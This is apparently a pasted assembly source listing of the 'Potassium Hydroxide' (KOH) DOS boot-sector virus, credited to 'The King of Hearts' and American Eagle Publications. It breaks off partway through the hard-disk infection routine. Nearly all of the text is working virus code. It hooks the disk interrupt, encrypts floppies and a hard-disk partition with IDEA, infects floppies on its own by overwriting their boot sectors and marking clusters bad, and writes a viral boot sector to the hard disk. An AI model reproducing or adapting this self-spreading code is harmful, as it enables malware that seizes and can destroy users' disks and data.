· 8 years ago · Jan 01, 2018, 03:46 AM
1;Source Listing for the Potassium Hydroxide virus.
2; written by The King of Hearts
3;Version 1.00
4; Initial release - beta only
5;Version 1.01
6; Upgrade to fix a number of bugs in 1.00, gets rid of casual encryption
7; and encrypts only one partition on disk, not whole disk, instant HD
8; password change.
9;Version 1.02
10; Fixes failure of SETUP_HARD on some disks because the INT 41H vector
11; doesn't always point to a proper drive parameter table.
12; Fixes problem with some floppy drives that messes up 2nd FAT table.
13;Version 1.03
14; Fixes inability to infect some floppy disks that are almost full but not
15; quite.
16
17;Both of the following should always be odd for this to work right.
18BUF_SIZE EQU 9 ;Internal disk buffer size, in sectors
19VIR_SIZE EQU 9 ;Virus size, less boot sector, in sectors
20
21VIRUS SEGMENT BYTE
22 ASSUME CS:VIRUS,DS:VIRUS,ES:VIRUS,SS:VIRUS
23
24 ORG 100H
25
26;*******************************************************************************
27;* VIRUS LOADER FOR A DISK IN DRIVE A: *
28;*******************************************************************************
29START:
30 mov ah,9
31 mov dx,OFFSET WELCOME_MSG
32 int 21H
33 xor ax,ax
34 mov ds,ax
35 mov si,13H*4 ;save the old int 13H vector
36 mov di,OFFSET OLD_13H
37 movsw
38 movsw
39 mov ax,OFFSET INT_13H ;and set up new interrupt 13H
40 mov bx,13H*4 ;which everybody will have to
41 mov ds:[bx],ax ;use from now on
42 mov ax,es
43 mov ds:[bx+2],ax
44 push cs
45 pop ds ;restore ds to here
46
47 call ENCRYPT_STRINGS
48
49 mov [HPP],OFFSET FDHPP ;floppy password
50 call MASTER_PASS ;create a new password
51
52 mov bx,80H ;check parameter
53 mov al,[bx]
54 cmp al,2
55 jc PAR1 ;no parameter, assume a: drive
56 mov al,[bx+2] ;else get first letter
57 or al,20H ;make it lower case
58 cmp al,61H
59 jc PAR1 ;must be "a" or "b", else exit
60 cmp al,63H
61 jnc PAR1
62 sub al,61H ;subtract "a"
63 mov dl,al ;and put drive letter here
64 add BYTE PTR [SUCCESS_MSG+17],al
65 jmp SHORT PAR2
66PAR1: mov dl,0
67PAR2: mov ax,0201H
68 mov bx,OFFSET DUMMY_BUF
69 mov cx,1
70 mov dh,0
71 int 13H
72 jnc SUCCESS_LOAD
73 cmp ah,6
74 je SUCCESS_LOAD
75
76ABORT_LOAD:
77 mov dx,OFFSET ABORT_MSG
78 mov ah,9
79 int 21H
80 jmp SHORT EXIT_NOW
81
82SUCCESS_LOAD:
83 mov dx,OFFSET SUCCESS_MSG
84 mov ah,9
85 int 21H
86
87EXIT_NOW:
88 xor ax,ax
89 mov ds,ax
90 mov ax,WORD PTR es:[OLD_13H] ;restore old interrupt 13H
91 mov bx,13H*4
92 mov ds:[bx],ax
93 mov ax,WORD PTR es:[OLD_13H+2]
94 mov ds:[bx+2],ax
95 mov ax,4C00H
96
97 int 21H
98
99;This routine encrypts all strings in the virus
100ENCRYPT_STRINGS:
101 mov bx,OFFSET STRING_LIST
102ENCLP: push bx
103 mov si,[bx]
104 or si,si
105 jz ESTREND
106 call ENCRYPT_STRING
107 pop bx
108 add bx,2
109 jmp ENCLP
110ESTREND:pop bx
111 ret
112
113;This routine encrypts a string in the virus
114ENCRYPT_STRING:
115 mov [RAND_SEED],si
116ES1: call GET_RANDOM
117 mov al,[si]
118 xor [si],ah
119 inc si
120 or al,al
121 jnz ES1
122ESEX: ret
123
124
125ABORT_MSG DB 'Initial load failed... aborting.$'
126SUCCESS_MSG DB 'Load successful. A: now encrypted with KOH.$'
127STRING_LIST DW OFFSET SURE
128 DW OFFSET ENCRYPT_QUERY1
129 DW OFFSET PW_EXPLAIN
130 DW OFFSET STOP_MSG
131 DW OFFSET FD_PWASK
132 DW OFFSET HD_PWCHASK
133 DW OFFSET FD_PWCHASK
134 DW OFFSET PW_HDEX
135 DW OFFSET HARD_ASK
136 DW OFFSET ENC_PASS1
137 DW OFFSET DEC_PASS
138 DW OFFSET ENC_PASS2
139 DW OFFSET BAD_PASS
140 DW OFFSET ALL_DONE
141 DW OFFSET NO_ROOM
142 DW OFFSET UPDATE_MSG
143 DW OFFSET CYL_LABEL
144 DW OFFSET HD_LABEL
145 DW 0
146
147DUMMY_BUF DB 512 dup (?)
148
149;*******************************************************************************
150;* BIOS DATA AREA *
151;*******************************************************************************
152
153 ORG 413H
154
155MEMSIZE DW 640 ;size of memory installed, in KB
156
157WELCOME_MSG DB 'Potassium Hydroxide (KOH) Version 1.03 Loader by the King of Hearts',0DH,0AH
158 DB '(C) 1995 American Eagle Publications, Inc. All rights reserved.',0DH,0AH,0AH
159 DB 'This loader will migrate the KOH encryption system to a floppy disk of your',0DH,0AH
160 DB 'choice (A or B) as specified on the command line. After encrypting, you must',0DH,0AH
161 DB 'boot from that floppy to activate the decryption, or to migrate to a hard disk.',0DH,0AH
162 DB 'This program uses the IDEA algorithm (implementation not developed in the US)',0DH,0AH
163 DB 'in conjunction with a pass phrase up to 128 bytes long. Floppies and hard disks',0DH,0AH
164 DB 'have their own separate pass phrases. The floppy uses it directly. The hard',0DH,0AH
165 DB 'disk is encrypted with a 16 byte random number, which is decrypted with its',0DH,0AH
166 DB 'pass phrase. Three commands can be activated when KOH is resident:',0DH,0AH,0DH,0AH
167 DB ' Ctrl-Alt-K allows one to change the pass phrases, floppy and hard disk.',0DH,0AH,0AH
168 DB ' Ctrl-Alt-O toggles floppy auto-migrate. When turned on, a "+" is displayed',0DH,0AH
169 DB ' and KOH will automatically encrypt every floppy it sees. When',0DH,0AH
170 DB ' turned off a "-" is displayed, and floppies are not touched.',0DH,0AH,0AH
171 DB ' Ctrl-Alt-H uninstalls KOH from the disk that was booted from.',0DH,0AH,0AH
172 DB 'For more info see KOH.DOC!',0DH,0AH,0AH,'$'
173
174
175;*******************************************************************************
176;* VIRUS CODE STARTS HERE *
177;*******************************************************************************
178 ORG 7C00H - 512*VIR_SIZE - 512*BUF_SIZE - 48
179
180LOCAL_STACK:
181
182FDHPP DB 16 dup (0) ;floppy disk hashed pass phrase
183HDKEY DB 16 dup (0) ;hard disk key, used to encrypt/decrypt sectors
184HDHPP DB 16 dup (0) ;hard disk hashed pass phrase, to encrypt HDKEY
185
186 ORG 7C00H - 512*VIR_SIZE - 512*BUF_SIZE
187
188IDEAVIR: ;A label for the beginning of the virus
189
190
191;*******************************************************************************
192;* INTERRUPT 13H HANDLER *
193;*******************************************************************************
194;This routine must intercept reads and writes to the floppy disk and encrypt/
195;decrypt them as necessary.
196
197OLD_13H DD ? ;Old interrupt 13H vector goes here
198OLD_9 DD ? ;Old interrupt 9 vector goes here
199
200;The following calls the original rom bios INT 13. DO_INT13 just calls it once.
201;DO_INT13E does error handling, calling it once, and if an error, doing a
202;disk reset, and then calling it again, returning c if there is an error.
203DO_INT13E:
204 push ax
205 pushf
206 call DWORD PTR cs:[OLD_13H]
207 jc DI132
208 add sp,2 ;exit now if 1st call was ok
209 ret
210DI132: mov ah,0 ;1st call bad, reset and try again
211 pushf
212 call DWORD PTR cs:[OLD_13H]
213 pop ax
214DO_INT13: ;bare call entry point
215 pushf
216 call DWORD PTR cs:[OLD_13H]
217 ret
218
219INT_13H:
220 sti
221 cmp ah,2 ;we want to intercept reads
222 jz READ_FUNCTION
223 cmp ah,3 ;and writes to all disks
224 jz WRITE_FUNCTION
225 cmp ah,5 ;if a FORMAT function is called
226 jnz I131 ;set a flag
227 mov BYTE PTR cs:[FORMAT_FLAG],1
228 jmp SHORT I13R
229I131: cmp ah,16H ;likewise for change-line check
230 jnz I13R
231 mov BYTE PTR cs:[MOTOR_FLAG],1
232I13R: jmp DWORD PTR cs:[OLD_13H]
233
234
235;*******************************************************************************
236;This section of code handles all attempts to access the Disk BIOS Function 3,
237;(Write). If an attempt is made to write any sectors except the boot sector,
238;this function must encrypt the data to write, write it, and then decrypt
239;everything again. If the boot sector is written, it must not be encrypted!
240
241WRITE_FUNCTION:
242 mov BYTE PTR cs:[ACTIVE],1
243 mov cs:[CURR_DISK],dl ;set this with current disk no
244 mov cs:[SECS_READ],al
245 call IS_ENCRYPTED
246 jz WF1
247 cmp dx,80H ;write protect the virus here
248 jnz WF0
249 cmp cx,VIR_SIZE+4
250 jc WF3
251WF0: call ENCRYPT_DATA
252WF1:
253 call DO_INT13
254 pushf
255 call IS_ENCRYPTED
256 jz WF2
257 call DECRYPT_DATA
258WF2: popf
259WF3: mov BYTE PTR cs:[ACTIVE],0
260 retf 2 ;return and pop flags off of stack
261
262
263;*******************************************************************************
264;This section of code handles all attempts to access the Disk BIOS Function 2,
265;(Read). If an attempt is made to read any sectors except the boot sector,
266;this function must allow the read to proceed normally, and then decrypt
267;everything read except the boot sector.
268READ_FUNCTION:
269 mov BYTE PTR cs:[ACTIVE],1
270 mov cs:[SECS_READ],al
271 mov cs:[CURR_DISK],dl ;set this with current disk no
272 mov cs:[OLD_SS],ss
273 mov cs:[OLD_SP],sp
274 cli
275 push cs
276 pop ss
277 mov sp,OFFSET LOCAL_STACK
278 sti
279 cmp dl,80H ;skip infect routine for hard drives
280 jnc DO_READ
281 call INFECT_FLOPPY
282 cmp BYTE PTR cs:[CHANGE_FLAG],0 ;was change flag set in INFECT_FLOPPY?
283 jz DO_READ ;no, continue with read
284 mov BYTE PTR cs:[CHANGE_FLAG],0 ;yes, reset flag
285 mov ax,600H ;set ah=6, al=0, c on
286 stc
287 pushf ;and exit now
288 jmp SHORT DONE_DECRYPT
289DO_READ:
290 call DO_INT13
291 pushf
292 jnc DOREAD1 ;exit on error
293 cmp ah,11H
294 jz DOREAD1
295 or al,al
296 jz DONE_DECRYPT
297 mov cs:[SECS_READ],al
298DOREAD1:call IS_ENCRYPTED ;is disk encrypted?
299 jz DONE_DECRYPT ;no, don't try to decrypt it
300 call DECRYPT_DATA
301DONE_DECRYPT:
302 popf
303 cli
304 mov ss,cs:[OLD_SS]
305 mov sp,cs:[OLD_SP]
306 sti
307 jmp WF3 ;return and pop flags off of stack
308
309;This routine determines if CURR_DISK is encrypted or not. It returns with
310;Z set if it isn't encrypted, and reset if it is. It is assumed that dl
311;contains the current disk # on entry. No registers are changed.
312IS_ENCRYPTED:
313 cmp dl,80H ;is it a hard drive?
314 jnc IE_HD ;yes, check it specially
315 push cx
316 push ax
317 cmp BYTE PTR cs:[FORMAT_FLAG],1
318 jz IEE
319 mov cl,dl
320 mov al,cs:[CRYPT_FLAG]
321 shr al,cl
322 and al,1
323IEE: pop ax
324 pop cx
325 ret
326
327IE_HD: jnz IEZ ;drive other than c: ?
328 push ax
329 mov al,cs:[HD_CRYPT] ;see if HD is encrypted
330 or al,al ;and set flag properly
331 jz IEHDE
332 push cx
333 push dx ;see if we're in right partition
334 push ds
335 push cs
336 pop ds
337 call DECODE_SECTOR
338 cmp cx,[FIRST_CYL]
339 jc IEZ2 ;cx<first cyl, exit with z set
340 jne IEH2
341 cmp dh,[FIRST_HEAD]
342 jc IEZ2 ;cx=first cyl, dh<first head, exit z
343 jne IEH2
344 cmp dl,[FIRST_SEC]
345 jc IEZ2 ;cx=1st cyl, dh=1st head, dl<1st sec
346IEH2: cmp cx,[LAST_CYL]
347 jg IEZ2 ;cx>last cyl, exit with z set
348 jne IEH3
349 cmp dh,[LAST_HEAD]
350 jg IEZ2 ;cx=last cyl, dh>last head
351 jne IEH3
352 cmp dl,[LAST_SEC]
353 jg IEZ2 ;cx=last cyl, dh=last head, dl>last sec
354 mov al,1 ;all ok, we're encrypted
355 or al,al
356IEH3: pop ds
357 pop dx
358 pop cx
359IEHDE: pop ax
360 ret
361
362IEZ2: pop ds
363 pop dx
364 pop cx
365 pop ax
366IEZ: push ax ;return with Z set
367 xor al,al
368 pop ax
369 ret
370
371;This routine decrypts using IDEA. On entry, ax, es:bx, cx and dx must be set up just
372;like they are for the INT 13. All registers are preserved on this call. This
373;routine does not change the stack.
374DECRYPT_DATA:
375 mov BYTE PTR cs:[cfb_dc_idea],0FFH
376 jmp SHORT CRYPT_DATA
377
378;This routine encrypts using IDEA. On entry, ax, es:bx, cx and dx must be set up just
379;like they are for the INT 13. All registers are preserved on this call. This
380;routine does not change the stack.
381ENCRYPT_DATA:
382 mov BYTE PTR cs:[cfb_dc_idea],0
383CRYPT_DATA:
384 cld
385 push ds
386 push es
387 push di ;save everything now
388 push si
389 push dx
390 push cx
391 push bx
392 push ax
393 push cs
394 pop ds
395 mov al,[SECS_READ]
396 mov [HPP],OFFSET FDHPP
397 cmp dl,80H
398 jc ED1
399 mov [HPP],OFFSET HDKEY
400 call SET_HARD
401ED1: or dh,dh ;is it head 0?
402 jnz ED2 ;nope, go encrypt
403 cmp cx,1 ;is it track 0, sector 1?
404 jz ED3 ;nope, go encrypt
405ED2: cmp dl,80H
406 jc STRONG_CRYPT
407 cmp dh,[BSLOC_DH]
408 jnz STRONG_CRYPT
409 cmp cx,[BSLOC_CX]
410 jnz STRONG_CRYPT
411ED3: inc cl
412 dec al
413 add bx,512
414STRONG_CRYPT:
415 xor dl,dl
416 or al,al
417 jz WR_EN2
418 mov si,bx
419WR_EN1: push ax
420 mov [IV],dx
421 mov [IV+2],cx
422 xor ax,ax
423 mov [IV+4],ax
424 mov [IV+6],ax
425 push dx
426 push cx
427 push si
428 call initkey_idea
429 pop si
430 push si
431 push si
432 call ideasec
433 pop si
434 pop cx
435 pop dx
436 pop ax
437 cmp BYTE PTR [CURR_DISK],80H
438 jnc WR_EN15
439 inc cl ;on floppies, we just inc cl
440 jmp SHORT WR_EN17
441WR_EN15:call NEXT_SEC ;on HD, reads can jump hds and trks
442 jnc WR_EN2 ;done with disk, exit
443WR_EN17:add si,512
444 dec al ;loop until everything is encrypted
445 jnz WR_EN1
446
447WR_EN2: ;restore registers
448 pop ax
449 pop bx
450 pop cx
451 pop dx
452 pop si
453 pop di
454 pop es
455 pop ds
456 ret
457
458
459;This routine increments cx/dx to the next sector. On floppies, it just increments
460;cl, the sector number. On HD's, it must also handle head and track number.
461;This includes the AMI extension to handle more than 1024 cylinders. Returns
462;nc if it is past the last sector on disk.
463NEXT_SEC:
464 push cx
465 and cl,00111111B
466 inc cx
467 cmp cl,BYTE PTR [SECS_PER_TRACK]
468 pop cx
469 jg NS1
470 inc cl
471 jmp SHORT NEXT_SEC_EXIT
472NS1: and cl,11000000B
473 inc cl
474 push dx
475 and dh,00111111B
476 inc dh
477 cmp dh,BYTE PTR [HEADS]
478 pop dx
479 jge NS2
480 inc dh
481 jmp SHORT NEXT_SEC_EXIT
482NS2: and dh,11000000B
483 add ch,1
484 jnc NEXT_SEC_EXIT
485 add cl,64
486 jnc NEXT_SEC_EXIT
487 add dh,64
488NEXT_SEC_EXIT:
489 cmp BYTE PTR [CURR_DISK],80H
490 jc FLOPPY_EX
491 push cx
492 push dx
493 call DECODE_SECTOR
494 cmp cx,[LAST_CYL]
495 jne NSE
496 cmp dh,[LAST_HEAD]
497 jne NSE
498 cmp dl,[LAST_SEC]
499 jne NSE
500 stc ;ok if dl=last sector
501NSE: pop dx
502 pop cx
503 ret
504
505FLOPPY_EX:
506 cmp ch,BYTE PTR [TRACKS] ;set c if ch < TRACKS
507 ret
508
509
510;This routine does all that is needed to infect a floppy disk. It determines
511;whether the disk is infected, and if so, attempts an infect.
512INFECT_FLOPPY:
513 push ds
514 push es
515 push di ;save everything now
516 push si
517 push dx
518 push cx
519 push bx
520 push ax
521 mov ax,cs
522 mov ds,ax
523 mov es,ax
524 mov ax,WORD PTR [DR_FLAG]
525 push ax
526 mov ax,WORD PTR [BS_SECS_PER_TRACK]
527 push ax
528 mov ax,WORD PTR [BS_HEADS]
529 push ax
530 mov ax,WORD PTR [BS_SECTORS_ON_DISK]
531 push ax
532 xor ax,ax ;set drive flag = 0 for any
533 mov WORD PTR [DR_FLAG],ax ;floppies infected
534 mov [HPP],OFFSET FDHPP ;use floppy password
535 call SHOULD_INFECT ;should we infect the floppy now?
536 jnz IF_END
537
538 mov cl,dl ;get current disk number
539 mov al,0FEH
540 rol al,cl ;assume we're not encrypted now,
541 and [CRYPT_FLAG],al ;so reset the crypt flag
542
543 mov ax,0201H ;move boot sector into SCRATCHBUF
544 mov bx,OFFSET SCRATCHBUF
545 mov cx,1
546 mov dh,0
547 int 40H ;read boot sector
548 jnc INF2 ;read was ok
549 cmp ah,6 ;change flag set if ah=6
550 jnz INF1
551 mov [CHANGE_FLAG],ah ;so save it here
552INF1: mov ax,0201H
553 int 40H ;try again
554 jc IF_END
555INF2: mov bx,OFFSET SCRATCHBUF+200H ;now read first fat sector
556 inc cx
557 mov ax,201H
558 int 40H
559 mov al,BYTE PTR [SCRATCHBUF+15H] ;get boot sector ID
560 xor al,BYTE PTR [SCRATCHBUF+200H] ;xor with FAT ID
561 jnz INF5 ;not same, encrypted, so skip encryption
562 cmp WORD PTR [SCRATCHBUF+201H],0FFFFH ;better be FFFF
563 jnz INF5 ;else encrypted
564 cmp [FD_INFECT],1 ;should we infect??
565 jz INF55 ;nope, don't encrypt
566 call INIT_FAT_MANAGER ;set up disk parameters
567 call ENCRYPT_FLOPPY ;and encrypt the disk
568 jc IF_END ;if an error, exit and don't infect
569 mov ax,0201H ;re-load boot sector after encrypt
570 mov cx,1
571 mov dh,0
572 mov dl,[CURR_DISK]
573 mov bx,OFFSET SCRATCHBUF
574 call DO_INT13
575 jc IF_END ;exit if an error (shouldn't be)
576INF5: call SET_CRYPT_FLAG ;now encrypted, set this flag
577INF55: cmp [FD_INFECT],1
578 jz IF_END
579 call IS_VBS ;is viral boot sector there already?
580 jnz INF6 ;nope, go infect it
581 jmp SHORT IF_END ;else exit
582INF6: call INIT_FAT_MANAGER ;initialize disk parameters
583 call MOVE_VIRUS_FLOPPY ;and infect, if possible
584IF_END: pop ax
585 mov WORD PTR [BS_SECTORS_ON_DISK],ax
586 pop ax
587 mov WORD PTR [BS_HEADS],ax
588 pop ax
589 mov WORD PTR [BS_SECS_PER_TRACK],ax
590 pop ax
591 mov WORD PTR [DR_FLAG],ax
592 pop ax
593 pop bx
594 pop cx
595 pop dx
596 pop si
597 pop di
598 pop es
599 pop ds
600 ret ;return with flags set properly
601
602;Set the CRYPT_FLAG for the current disk.
603SET_CRYPT_FLAG:
604 mov cl,[CURR_DISK] ;if we get here, drive will be encrypted
605 mov al,1 ;so set flag accordingly
606 shl al,cl
607 or [CRYPT_FLAG],al
608 ret
609
610
611;This routine determines whether we should infect now. It signals time to
612;infect only if the drive motor is off. If the caller should proceed with
613;infection, the Z flag is reset on return. On entry, dl should contain the
614;drive number to check, and dl should not be changed by this routine.
615SHOULD_INFECT:
616 mov al,[MOTOR_FLAG]
617 mov BYTE PTR [MOTOR_FLAG],0
618 mov ah,[FORMAT_FLAG]
619 or ah,ah ;then disable infect attempts
620 jnz SIR2
621 xor al,1 ;likewise for MOTOR_FLAG
622 jz SIR
623 push ds ;test floppy motor
624 xor ax,ax
625 mov ds,ax
626 mov bx,43FH ;address of floppy motor status
627 mov al,[bx]
628 pop ds
629 mov cl,dl ;cl=drive number
630 shr al,cl ;put motor status for current drive in bit 0 of al
631 and al,1 ;mask all other bits
632SIR: ret
633
634SIR2: pushf
635 mov ax,0E07H
636 int 10H
637 popf
638 ret
639
640;This routine encrypts the floppy disk in preparation for infecting it.
641;The drive number is put in [CURR_DISK] before this is called. This uses the
642;interrupt 13H handler to do the encryption.
643ENCRYPT_FLOPPY:
644 mov cx,2 ;int 13 parameters
645 xor dh,dh ;skip encrypting boot sector!
646 mov dl,[CURR_DISK]
647 jmp SHORT ENCRYPT_DISK
648
649ENCRYPT_HARD:
650 call SET_HARD
651 mov dh,[BSLOC_DH]
652 mov cx,[BSLOC_CX]
653 mov dl,[CURR_DISK]
654
655ENCRYPT_DISK:
656 mov [FIRST],ch ;set first=0
657 mov bx,OFFSET SCRATCHBUF
658EFLP: cmp BYTE PTR [CURR_DISK],80H
659 jne EFL0
660 call DISP_STATUS
661EFL0: mov al,BUF_SIZE
662 mov ah,BYTE PTR [SECS_PER_TRACK]
663 push cx
664 and cl,00111111B
665 sub ah,cl
666 pop cx
667 inc ah
668 cmp ah,al
669 jnc EFL1
670 mov al,ah
671EFL1: mov ah,2 ;read this many sectors, max
672 mov [SECS_READ],al
673 call DO_INT13E ;read sector without decryption
674 jc EF_RDERR ;exit on error
675 mov al,[REMOVE]
676 mov [cfb_dc_idea],al
677 mov ah,3
678 mov al,[SECS_READ]
679 call CRYPT_DATA ;now encrypt the data we read
680 call DO_INT13E ;and write it to disk
681 jc EF_WRERR ;and keep trying
682 mov BYTE PTR [FIRST],1
683EFL2: mov al,[SECS_READ]
684EFL3: call NEXT_SEC
685 jnc EF_EX
686 dec al
687 jnz EFL3
688 jmp EFLP
689
690EF_ERR: stc ;set carry on error
691EF_EX: ret ;and exit now
692
693;Handle read/write errors on disks here. Above is multiple sector read/write,
694;but the following does it sector by sector, whenever an error occurs in a
695;read or write on a sector.
696EF_WRERR:
697 cmp BYTE PTR [FIRST],0
698 jz EF_ERR ;first write attempt? write protected
699 or al,al ;make sure nothing was written to disk
700 jz EF_RDERR
701 mov ah,[SECS_READ]
702 sub ah,al
703 mov [SECS_READ],ah
704EF_WRLP:call NEXT_SEC
705 jnc EF_EX
706 dec al
707 jnz EF_WRLP
708
709EF_RDERR: ;entry point for a read error
710 mov al,[SECS_READ]
711EF_RDLP:push ax
712 mov ax,201H ;read/encrypt/write one sector
713 call DO_INT13E
714 jc EF_NXT
715 mov al,[REMOVE]
716 mov [cfb_dc_idea],al
717 mov ax,301H
718 call CRYPT_DATA
719 call DO_INT13E
720EF_NXT: call NEXT_SEC
721 pop ax
722 jnc EF_EX
723 dec al
724 jnz EF_RDLP
725 jmp EFLP
726
727;Display status of encryption for hard disk. This preserves all registers.
728DISP_STATUS:
729 push ax
730 push bx
731 push cx
732 push dx
733 push si
734 mov si,OFFSET CYL_LABEL
735 call DISP_STRING
736 call DECODE_SECTOR
737; push dx
738 mov ax,cx
739 call DISP_DECIMAL
740; mov si,OFFSET HD_LABEL
741; call DISP_STRING
742; pop dx
743; mov al,dh
744; xor ah,ah
745; call DISP_DECIMAL
746 mov ax,0E0DH
747 int 10H
748 pop si
749 pop dx
750 pop cx
751 pop bx
752 pop ax
753 ret
754
755
756;Display the decimal digit in ax, up to 9,999
757DISP_DECIMAL:
758 xor dx,dx
759 mov cx,1000
760 div cx ;1000's digit in ax
761 call DISP_DIGIT
762 mov ax,dx
763 xor dx,dx
764 mov cx,100
765 div cx ;100's digit in ax
766 call DISP_DIGIT
767 mov ax,dx
768 xor dx,dx
769 mov cl,10
770 div cx ;10's digit in ax
771 call DISP_DIGIT
772 mov ax,dx ;1's digit in ax
773 call DISP_DIGIT
774 ret
775
776;Display a single decimal digit in al
777DISP_DIGIT:
778 add al,30H
779 mov ah,0EH
780 xor bl,bl
781 int 10H
782 ret
783
784CYL_LABEL DB 'Cyl ',0
785HD_LABEL DB ' Hd ',0
786
787;This routine sets up the tracks, secs and heads for CURR_DISK when that is a
788;hard drive.
789SETUP_HARD:
790 mov ah,8 ;use disk info to get cyls on disk
791 mov dl,80H
792 int 13H
793 jc SH1 ;if fctn 8 not supported, try direct approach
794 mov al,dh
795 xor ah,ah
796 inc ax
797 mov [HEADS],ax
798 mov ax,cx
799 xchg ah,al
800 and ah,0C0H
801 rol ah,1
802 rol ah,1
803 mov [TRACKS],ax
804 and cx,003FH
805 mov [SECS_PER_TRACK],cx ;save secs/track on disk
806 ret
807SH1: push es
808 xor ax,ax
809 mov es,ax
810 mov bx,41H*4
811 les bx,es:[bx]
812 mov ax,es:[bx]
813 mov [TRACKS],ax
814 xor ah,ah
815 mov al,es:[bx+2]
816 mov [HEADS],ax
817 mov al,es:[bx+14]
818 mov [SECS_PER_TRACK],ax
819 pop es
820 ret
821
822;Fast version of above, once above called once
823SET_HARD:
824 push ax
825 mov ax,[SECS_PER_TRACK]
826 mov [BS_SECS_PER_TRACK],ax
827 mov ax,[HEADS]
828 mov [BS_HEADS],ax
829 mov ax,[TRACKS]
830 mov [BS_SECTORS_ON_DISK],ax
831 pop ax
832 ret
833
834
835;*******************************************************************************
836;This routine puts the virus on the floppy disk. It has no safeguards to prevent infecting
837;an already infected disk. That must occur at a higher level. Also, it does
838;not encrypt the floppy disk. That occurs elsewhere. On entry, [CURR_DISK] must contain
839;the drive number to act upon.
840
841MOVE_VIRUS_FLOPPY:
842 mov bx,VIR_SIZE+1 ;number of sectors requested
843 call FIND_FREE ;find free space on disk
844 jnc INF01 ;exit now if no space
845 ret
846INF01: push cx
847 mov dx,cx ;dx=cluster to start marking
848 mov cx,VIR_SIZE+1 ;sectors requested
849 call MARK_CLUSTERS ;mark required clusters bad
850 call UPDATE_FAT_SECTOR ;and write it to disk
851
852 mov ax,0201H
853 mov bx,OFFSET SCRATCHBUF
854 mov cx,1
855 mov dh,0
856 mov dl,[CURR_DISK]
857 call DO_INT13E ;read original boot sector
858
859 mov si,OFFSET BOOT_START ;build floppy viral bs
860 mov di,OFFSET SCRATCHBUF + 512 ;temp buf for floppy viral bs
861 mov cx,256
862 rep movsw
863 mov si,OFFSET SCRATCHBUF + 11 ;BS_DATA in current sector
864 mov di,OFFSET SCRATCHBUF + 11 + 512
865 mov cx,2AH / 2 ;copy boot sector disk info over
866 rep movsw ;to new boot sector
867 mov si,OFFSET SCRATCHBUF + 1ADH ;move 51H bytes of boot sector
868 mov di,OFFSET SCRATCHBUF + 3ADH ;to viral boot sector at end
869 mov cx,51H ;so boot works right on
870 rep movsb ;floppies too
871
872 pop cx
873 call CLUST_TO_ABSOLUTE ;set cx,dx up with trk, sec, hd info
874 mov WORD PTR [VIRCX - OFFSET BOOT_START + OFFSET SCRATCHBUF + 512],cx
875 mov BYTE PTR [VIRDH - OFFSET BOOT_START + OFFSET SCRATCHBUF + 512],dh ;save in viral bs
876 mov BYTE PTR [CHANGE_FLAG - OFFSET BOOT_START + OFFSET SCRATCHBUF +512],0
877
878 mov dl,[CURR_DISK]
879 mov bx,OFFSET IDEAVIR
880 mov si,VIR_SIZE+1 ;read/write VIR_SIZE+1 sectors
881MVF2: push si
882 mov ax,0301H ;read/write 1 sector
883 call DO_INT13E ;call BIOS to read it
884 pop si
885 jc IFEX ;exit if it fails
886 add bx,512 ;increment read buffer
887 inc cl ;get ready to do next sector--inc sector ct
888 cmp cl,BYTE PTR [SECS_PER_TRACK] ;last sector on track?
889 jbe MVF3 ;no, continue
890 mov cl,1 ;yes, set sector=1
891 inc dh ;try next side
892 cmp dh,2 ;last side?
893 jb MVF3 ;no, continue
894 xor dh,dh ;yes, set side=0
895 inc ch ;and increment track count
896MVF3: dec si
897 jnz MVF2
898 mov ax,WORD PTR [CHANGE_FLAG] ;reset CHANGE_FLAG and FD_INFECT
899 push ax
900 xor dx,dx
901 mov WORD PTR [CHANGE_FLAG],dx
902 mov ax,0301H
903 mov bx,OFFSET SCRATCHBUF + 512
904 mov cx,1
905 mov dl,[CURR_DISK]
906 call DO_INT13E ;write viral boot sector into boot sector
907 pop ax
908 mov WORD PTR [CHANGE_FLAG],ax
909IFEX: ret
910
911
912;*******************************************************************************
913;Update the hard disk drive from version 1.00 to 1.01.
914UPDATE_HARD:
915 mov si,OFFSET UPDATE_MSG
916 call DISP_STRING
917 mov ah,0
918 int 16H
919 ret
920
921
922;Infect Hard Disk Drive AL with this virus. This involves the following steps:
923;A) Read the present boot sector. B) Copy it to Track 0, Head 0, Sector 7.
924;C) Copy the disk partition info into the viral boot sector in memory. D) Copy
925;the viral boot sector to Track 0, Head 0, Sector 1. E) Copy the IDEAVIR
926;routines to Track 0, Head 0, Sector 2, 5 sectors total.
927
928INFECT_HARD:
929 call CLEAR_SCREEN
930 mov si,OFFSET HARD_ASK ;ask if we should infect HD
931 call ASK ;ask if we should infect hard disk
932 jz IH00 ;answer was no, abort
933 jmp IHDR
934IH00: mov al,[CURR_DISK]
935 push ax
936 mov [CURR_DISK],80H
937 call SETUP_HARD
938 pop ax
939 mov [CURR_DISK],al
940 cmp [SECS_PER_TRACK],VIR_SIZE+3 ;make sure there's room
941 jnc IH02
942IH01: mov si,OFFSET NO_ROOM
943 call DISP_STRING
944 jmp IHDR
945IH02: mov ax,[BSLOC_CX]
946 and al,11000000B
947 or ah,[BSLOC_DH]
948 or ax,ax ;this better not be 0 or we don't have room
949 jz IH01 ;else ok to infect
950
951HARD_UPDATE:
952 xor al,al
953 mov [FD_INFECT],al ;set flag
954 mov dx,80H
955 mov [DR_FLAG],dl
956 mov bx,OFFSET SCRATCHBUF ;go write original partition sector at
957 mov cx,VIR_SIZE+2 ;track 0, head 0, sector VIR_SIZE+2
958 mov ax,301H
959 call DO_INT13E
960
961 mov di,OFFSET PARTPRE
962 mov si,OFFSET SCRATCHBUF + 1ADH
963 mov cx,51H ;copy partition table
964 rep movsb ;to new boot sector too!
965
966 mov bx,OFFSET PART - 10H
967IH1: add bx,10H ;set up partition parameters
968 cmp BYTE PTR [bx],80H
969 jne IH1
970 mov dh,[bx+1]
971 mov cx,[bx+2]
972 call DECODE_SECTOR
973 mov [FIRST_HEAD],dh
974 mov [FIRST_SEC],dl
975 mov [FIRST_CYL],cx
976 mov dh,[bx+5]
977 mov cx,[bx+6]
978 call DECODE_SECTOR
979 mov [LAST_HEAD],dh
980 mov [LAST_SEC],dl
981 mov [LAST_CYL],cx
982
983 mov ax,[SECS_PER_TRACK] ;set up disk parameters
984 mov [BS_SECS_PER_TRACK],ax
985 mov ax,[HEADS]
986 mov [BS_HEADS],ax
987 mov ax,[TRACKS]
988 mov [BS_SECTORS_ON_DISK],ax
989 mov [VIRCX],2 ;tell the virus where to find itself
990 mov dx,80H
991 mov cx,1
992 mov [VIRDH],dh
993 mov ax,0301H
994 mov bx,OFFSET BOOT_START ;write viral boot sector to drive
995 call DO_INT13E
996
